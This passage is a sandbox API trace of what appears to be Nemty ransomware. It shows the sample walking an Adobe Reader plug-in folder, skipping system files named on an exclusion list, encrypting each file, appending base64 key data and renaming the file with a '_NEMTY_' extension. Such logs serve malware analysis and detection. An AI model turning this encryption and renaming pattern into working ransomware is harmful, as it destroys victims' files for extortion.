cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DEU", lpUsedDefaultChar=0x0) returned 16 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.DEU", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.DEU", lpUsedDefaultChar=0x0) returned 16 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.558] Sleep (dwMilliseconds=0x5) [0191.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d439b0, dwHighDateTime=0x1d561e8)) [0191.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d439b0, dwHighDateTime=0x1d561e8)) [0191.566] GetLastError () returned 0x0 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.566] GetLastError () returned 0x0 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.566] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.566] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="PoVeOTPs5gJfd7VuiTJuyoQ7WT314C4WL4SYRa6objVjyInJ+m12ozJUccqP8lJ2\r\nhbdP3rYyYkoe+3miRAHg2R3XkwqAetbbk+EEELBZXpQkQsAOKzdp/OZv0J37KjkC\r\n1YXGbabNLeV/fLsGws21bh2KEx6mZfJieDCHQLBj0h3N7rOAgh1ypJMOWmec70YL\r\nJWwJnTHbOpkIIlH2S+9E/ayxm7mT3ciXriLCS8FoJiw3WVDoUNuu5ZNi00S9UkSK\r\nVcDBeJH5hnr9VmajYER3zbUmiZu4dVn/VrqPVJXOtO0qbu8STJ037xt2YrdYk3CT\r\neORxOkktB0EoMkHXtMlZAg==\r\n", pcchString=0x653e29c) returned 1 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.567] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.567] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.567] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.568] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.569] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.569] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.569] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.569] CloseHandle (hObject=0x2f0) returned 1 [0191.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.569] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.deu._nemty_kgobjgd_")) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.570] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.ESP", cAlternateFileName="WINDOW~1.ESP")) returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2=".") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="..") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="...") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="windows") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="$RECYCLE.BIN") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="rsa") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="NTDETECT.COM") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="ntldr") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="MSDOS.SYS") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="IO.SYS") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="boot.ini") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="boot.ini") returned 1 [0191.570] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="AUTOEXEC.BAT") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="ntuser.dat") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="desktop.ini") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="CONFIG.SYS") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="RECYCLER") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="BOOTSECT.BAK") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="bootmgr") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="programdata") returned 1 [0191.571] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2="appdata") returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ESP", lpUsedDefaultChar=0x0) returned 16 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ESP", lpUsedDefaultChar=0x0) returned 16 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ESP", lpUsedDefaultChar=0x0) returned 16 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.ESP", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.ESP", lpUsedDefaultChar=0x0) returned 16 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.571] Sleep (dwMilliseconds=0x5) [0191.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d69b10, dwHighDateTime=0x1d561e8)) [0191.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25d69b10, dwHighDateTime=0x1d561e8)) [0191.581] GetLastError () returned 0x0 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.582] GetLastError () returned 0x0 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.582] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.582] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.582] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="Eywkb2TdKzo8vMR2hsH/85EzpNMYgD6txfTrwX5/ezc4BVpzg3MtTvxztbV4r5Ol\r\nEHXn3zKVqYWQO3DkOsVEyvF3Va3nYwb35giO7V77D3dXFRRKX29UcQTwdlTNNc4R\r\n3k4YcjW2YH/DE/E8F1KE6JaKGO4RWoEifGLBIF9XYf1lhEKBAQa2B+YBNWuTuH54\r\nSslmIhtQZBMFVRaGPSCojMsOc3TsnTTW0tUc2ISUVlgp3lIYWoGdEtLlEqlWM2O3\r\nf715tWb7l0GQdYqvgEC7IEPhJf8e2fr9znXglKmnUH2382WOixRQiTH7y3h3cacN\r\n6WQIFG/eH6l8SSd0oXV80g==\r\n", pcchString=0x653e29c) returned 1 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.583] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.583] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.583] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.584] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.584] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.584] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.584] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.584] CloseHandle (hObject=0x2f0) returned 1 [0191.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.585] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp._nemty_kgobjgd_")) returned 1 [0191.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.586] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.EUQ", cAlternateFileName="WINDOW~1.EUQ")) returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2=".") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="..") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="...") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="windows") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="rsa") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="NTDETECT.COM") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="ntldr") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2="MSDOS.SYS") returned 1 [0191.586] lstrcmpiW (lpString1="WindowsMedia.EUQ", 